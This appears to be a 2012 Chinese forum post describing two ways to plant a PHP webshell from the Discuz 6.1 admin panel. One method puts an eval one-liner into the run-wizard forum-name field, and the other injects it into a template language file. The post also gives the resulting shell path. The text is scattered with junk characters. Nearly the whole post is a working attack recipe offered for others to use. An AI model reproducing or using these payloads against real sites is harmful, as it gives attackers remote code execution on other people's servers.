discuz6.1两种方法后台拿shell
4 E: v# ]' i( x3 g0 Z7 [1 y8 E好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下2 G( R- U7 j6 ?# k: P7 N
1:
+ r ~9 J6 _1 P. ?7 Ohttp://127.0.0.1/discuz/admincp. ... zard&frames=yes5 E% L+ G- a7 @; d
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
' |0 O9 ?8 x# j/ z' c<?php eval($_POST[cmd]);?>
6 Q6 h: u Z& n# s后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php8 _3 o) W% j1 T$ w8 E' w. @
& d9 S0 }! a& Q& d4 y. x% b. |. v9 L9 c2 @
2:后台模板管理--默认模板套系--详情( s0 K0 f$ R% d- \
templates/default/actions.lang.php) ^8 U2 k7 ]6 J; s, h
jhackj\\');eval($_POST[cmd])?>;//# d1 ]5 J# d, ?5 k, P: x6 l
: t5 R! _4 Q: K" \" X+ Y
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对